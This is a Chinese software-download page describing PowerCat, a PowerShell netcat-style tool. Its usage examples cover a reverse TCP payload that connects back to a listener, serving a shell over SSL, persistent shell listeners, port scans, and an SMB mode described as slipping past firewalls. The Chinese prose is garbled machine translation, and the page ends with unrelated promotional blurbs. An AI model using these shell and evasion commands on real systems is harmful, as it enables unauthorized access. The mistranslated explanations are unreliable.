PowerCat是PowerShell的TCP/ IP瑞士军刀,适用Netcat Ncat.。假如你要在powershell上连SSH或是构建网络空间,那麼PowerCat肯定不可或缺!热烈欢迎免费下载!
PowerCat如何使用
powercat事实上是一个powershell的涵数,如果你第一次应用它的情况下你需要运作脚本制作来载入这一涵数。
因为windows默认设置不允许一切脚本制作运作,你需要键入Set-ExecutionPolicy RemoteSigned来容许运作当地的脚本制作。
PowerCat PowerShell控制模块装包。你务必导进控制模块应用其作用。
# Import the functions via the psd1 file:
Import-Module PowerCat.psd1
默认设置状况下,PowerCat应用TCP和载入/载入控制面板。
# Basic Listener:
Start-PowerCat -Port 443
# Basic Client:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443
文件传送
应用sendfile PowerCat能够用于传输文件和-ReceiveFile主要参数。
# Send File:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
# Receive File:
Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile
UDP和SMB
PowerCat适用多根据TCP传送数据。
# Send Data Over UDP:
Start-PowerCat -Mode Udp -Port 8000
# Send Data Over SMB (easily sneak past firewalls):
Start-PowerCat -Mode Smb -PipeName PowerCat
SSL
PowerCat动态性转化成给予SSL数据加密的X509资格证书TCP联接。
# Admin privileges are required to generate the self-signed certificate.
# Serve an SSL-Encrypted (Power)Shell:
Start-PowerCat -Mode Tcp -Port 80 -SslCn Certificate Common Name -Execute
# Connect to an SSL encrypted Ncat listener:
# Setup *nix with openssl Ncat:
# OpenSSL req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
# ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat
汽车继电器
PowerCat类似netcat汽车继电器汽车继电器,但你不用建立一个文档或运行一个过程。你还可以传送不一样合同中间的信息联接。
# UDP Listener to TCP Client Relay:
Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
# TCP Listener to UDP Client Relay:
Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
# TCP Client to Client Relay
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
# TCP Listener to SMB Listener Relay
New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat
转化成的重力梯度
荷载能够应用New-PowerCatPayload涵数转化成。
# Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute
# Generate a tcp payload that listens on port 8000:
New-PowerCatPayload -Listener -Port 8000 -Execute
PowerCat还能够实行端口扫描器,逐渐不断的观众,或做为一个简洁的web服务器。
# Basic TCP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -TIMeout 1 -Verbose -Disconnect }
# Basic UDP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
# Persistent listener:
Start-PowerCat -Port 443 -Execute -KeepAlive
# Simple Web Server:
Start-PowerCat -Port 80 -SendFile index.html
PowerCat基本要素和主要参数
Start-PowerCat # Starts a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb.
-Port # The port to listen on.
-PipeName # Name of pipe to listen on.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: Mode:Port/PipeName
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-KeepAlive # Restart after disconnecting.
-Timeout # Timeout option. Default: 60 seconds
Connect-PowerCat # Connects a client to a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb
-RemoteIp # IPv4 address of host to connect to.
-Port # The port to connect to.
-PipeName # Name of pipe to connect to.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: Mode:IP:Port/PipeName
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-Timeout # Timeout option. Default: 60 seconds
其他版本
相关攻略
相关专题数钢管APP专题为您精选多款高效、实用的钢管计数应用,涵盖不同版本以满足各类用户需求。无论是建筑工地的材料管理,还是制造业的库存盘点,这些APP均能提供精准快速的钢管数量统计,支持多种测量方式和数据导出功能,帮助您提高工作效率,减少人为误差。选择适合您的版本,轻松应对各种钢管计数挑战。
数独游戏,数独是一种运用纸、笔进行演算的逻辑游戏。玩家需要根据9×9盘面上的已知数字,推理出所有剩余空格的数字,并满足每一行、每一列、每一个粗线宫内的数字均含1-9,不重复。
多特软件专题为您提供网络工具,taptap网络工具,挂网络工具;安卓苹果版软件app一应俱全。多特软件站只提供绿色、无毒、无插件、无木马的纯绿色工具下载
多特软件站为您提供最新主播专用美颜软件专题,在这里安卓版苹果版等应用应有尽有,找最新主播专用美颜软件就来多特软件站。
录视频专用软件它是一个十分实用又十分专业的电脑屏幕录制工具,电脑录屏专用软件只需一键就能开启录制功能,操作十分的简单,不能很复杂,更加方便了用户的工作效率,使用屏幕录像专家可以很方便地录制自己的教学视频、操作演示、网络教学、网络电视电影等等,还可以录制成FLASH动画、WMV动画、AVI动画或者自播放的EXE动画,既简单又实用。屏幕录像专家具有长时间录像并确保声音完全同步的能力。

同类排行